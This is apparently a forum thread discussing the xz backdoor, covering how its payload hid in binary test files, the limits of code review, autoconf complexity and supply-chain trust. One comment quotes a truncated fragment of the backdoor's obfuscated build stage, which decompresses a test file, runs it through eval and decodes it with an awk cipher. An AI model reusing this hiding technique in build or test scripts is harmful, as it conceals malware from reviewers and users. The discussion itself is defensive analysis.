edit: also this was heavily obfuscated in some binary files that were marked as test files ("good" and "bad" xz compressed test file). No way to spot this if you don't know what you're looking for.
Code reviews are more about education and de-siloing.
What other controls would you use to prevent them contributing malicious commits, besides closely reading your co-contributor's commits, and disallowing noisy commits that you don't fully comprehend and vouch for?
We assume that it'd be unethical to surveil the contributor well enough to detect the change in alliance. That would violate their privacy.
Is it reasonable to say, "game over, I lose" in that context? To that end, we might argue that an embedded mole will always think of ways to fool our review, so this kind of compromise is fatal.
But let's assume it's not game over. You have an advanced persistent threat, and you've got a chance to defeat them. What, besides reviewing the code, do you do?
In an awful lot of open source, code review is a vanishingly rare commodity because there aren't enough committers left.
> xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=
You should probably expect the potential for abuse?
We’re moving towards complexity that is outpacing human ability for any one person to understand, explain, and thus check an entire object.
And for what? Build efficiency? Making a “trick” thing? When was the project ever going to go back and make things simpler? (Never)
This is 1990s autoconf bs that has not yet been excised from the Linux ecosystem. Every modern build system, even the really obtuse ones, are less insane than autoconf.
And the original purpose of this was not for efficiency, but to support a huge variety of target OSes/distros/architectures, most of which are no longer used in any real capacity.
That is my point. I should have written allows and not has.
No one has simplicity-required checks. My previous post should say “allows things like this”.
None of this would have been visible in commits or diffs at all.
I would expect most people to at least ask for more clarification on random changes to `head` offsets, honestly - or any other diff there.
If they had access to just merge whatever with no oversight, I guess the blame is more on people using this in other projects without vetting their basic security of projects they fully, implicitly trust, though. As bad as pulling in "left-pad" in your password hashing lib at that point.
The "random binaries in the repo" part is also egregious, but more understandable. Still not something that should have gotten past another pair of eyes, IMHO.
this sort of vetting you're talking about is gonna turn up nothing. Most vetting is at the source code level anyway, not in the tests, nor the build files tbh. It's almost like a checkbox "cover your ass" type work that a hired consultant would do.
Unless you're someone in gov't/military, in which case yes, you'd vet the code deeply. But that costs an arm and a leg. Would a datacenter/hosting company running ssh servers do that?